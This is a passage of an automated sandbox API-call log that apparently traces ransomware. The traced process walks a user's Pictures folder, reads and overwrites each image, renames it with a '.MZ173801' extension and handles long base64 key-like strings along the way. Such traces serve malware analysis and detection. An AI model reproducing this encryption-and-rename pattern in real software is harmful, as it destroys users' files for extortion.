dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.689] GetCurrentThreadId () returned 0x9fc [0122.689] GetCurrentThreadId () returned 0x9fc [0122.689] GetCurrentThreadId () returned 0x9fc [0122.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fhtI4R.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fhti4r.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.690] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xc4c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xc4c, lpOverlapped=0x0) returned 1 [0122.691] CloseHandle (hObject=0x288) returned 1 [0122.691] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fhtI4R.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fhti4r.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.693] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xc4c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xc4c, lpOverlapped=0x0) returned 1 [0122.694] CloseHandle (hObject=0x288) returned 1 [0122.699] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fhtI4R.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fhti4r.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fhtI4R.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fhti4r.png.mz173801")) returned 1 [0122.700] GetCurrentThreadId () returned 0x9fc [0122.700] GetCurrentThreadId () returned 0x9fc [0122.700] GetCurrentThreadId () returned 0x9fc [0122.700] GetCurrentThreadId () returned 0x9fc [0122.700] GetCurrentThreadId () returned 0x9fc [0122.700] GetCurrentThreadId () returned 0x9fc [0122.700] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376b5b80, ftCreationTime.dwHighDateTime=0x1d5dff2, ftLastAccessTime.dwLowDateTime=0xc4043330, ftLastAccessTime.dwHighDateTime=0x1d5e2e7, ftLastWriteTime.dwLowDateTime=0xc4043330, ftLastWriteTime.dwHighDateTime=0x1d5e2e7, nFileSizeHigh=0x0, nFileSizeLow=0x1579c, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="GoJjuImO-mij2jXwB3iX.png", cAlternateFileName="GOJJUI~1.PNG")) returned 1 [0122.700] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.700] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.700] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GoJjuImO-mij2jXwB3iX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gojjuimo-mij2jxwb3ix.png"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376b5b80, ftCreationTime.dwHighDateTime=0x1d5dff2, ftLastAccessTime.dwLowDateTime=0xc4043330, ftLastAccessTime.dwHighDateTime=0x1d5e2e7, ftLastWriteTime.dwLowDateTime=0xc4043330, ftLastWriteTime.dwHighDateTime=0x1d5e2e7, nFileSizeHigh=0x0, nFileSizeLow=0x1579c)) returned 1 [0122.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.703] GetCurrentThreadId () returned 0x9fc [0122.703] GetCurrentThreadId () returned 0x9fc [0122.703] GetCurrentThreadId () returned 0x9fc [0122.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.704] GetCurrentThreadId () returned 0x9fc [0122.704] GetCurrentThreadId () returned 0x9fc [0122.704] GetCurrentThreadId () returned 0x9fc [0122.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GoJjuImO-mij2jXwB3iX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gojjuimo-mij2jxwb3ix.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.704] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x1579c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x1579c, lpOverlapped=0x0) returned 1 [0122.706] CloseHandle (hObject=0x288) returned 1 [0122.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GoJjuImO-mij2jXwB3iX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gojjuimo-mij2jxwb3ix.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.710] WriteFile (in: hFile=0x288, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x1579c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f99c*=0x1579c, lpOverlapped=0x0) returned 1 [0122.713] CloseHandle (hObject=0x288) returned 1 [0122.717] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GoJjuImO-mij2jXwB3iX.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gojjuimo-mij2jxwb3ix.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\GoJjuImO-mij2jXwB3iX.png.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gojjuimo-mij2jxwb3ix.png.mz173801")) returned 1 [0122.718] GetCurrentThreadId () returned 0x9fc [0122.718] GetCurrentThreadId () returned 0x9fc [0122.718] GetCurrentThreadId () returned 0x9fc [0122.718] GetCurrentThreadId () returned 0x9fc [0122.718] GetCurrentThreadId () returned 0x9fc [0122.718] GetCurrentThreadId () returned 0x9fc [0122.718] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ed5130, ftCreationTime.dwHighDateTime=0x1d5e352, ftLastAccessTime.dwLowDateTime=0xb556e7f0, ftLastAccessTime.dwHighDateTime=0x1d5e0bd, ftLastWriteTime.dwLowDateTime=0xb556e7f0, ftLastWriteTime.dwHighDateTime=0x1d5e0bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="Jhr4VFCMaTe9", cAlternateFileName="JHR4VF~1")) returned 1 [0122.718] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56a5410, ftCreationTime.dwHighDateTime=0x1d5e042, ftLastAccessTime.dwLowDateTime=0xd8f832b0, ftLastAccessTime.dwHighDateTime=0x1d5e40d, ftLastWriteTime.dwLowDateTime=0xd8f832b0, ftLastWriteTime.dwHighDateTime=0x1d5e40d, nFileSizeHigh=0x0, nFileSizeLow=0xbdcb, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="MIlEcqTtx7JV xwb.jpg", cAlternateFileName="MILECQ~1.JPG")) returned 1 [0122.718] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.718] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\MIlEcqTtx7JV xwb.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\milecqttx7jv xwb.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56a5410, ftCreationTime.dwHighDateTime=0x1d5e042, ftLastAccessTime.dwLowDateTime=0xd8f832b0, ftLastAccessTime.dwHighDateTime=0x1d5e40d, ftLastWriteTime.dwLowDateTime=0xd8f832b0, ftLastWriteTime.dwHighDateTime=0x1d5e40d, nFileSizeHigh=0x0, nFileSizeLow=0xbdcb)) returned 1 [0122.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMT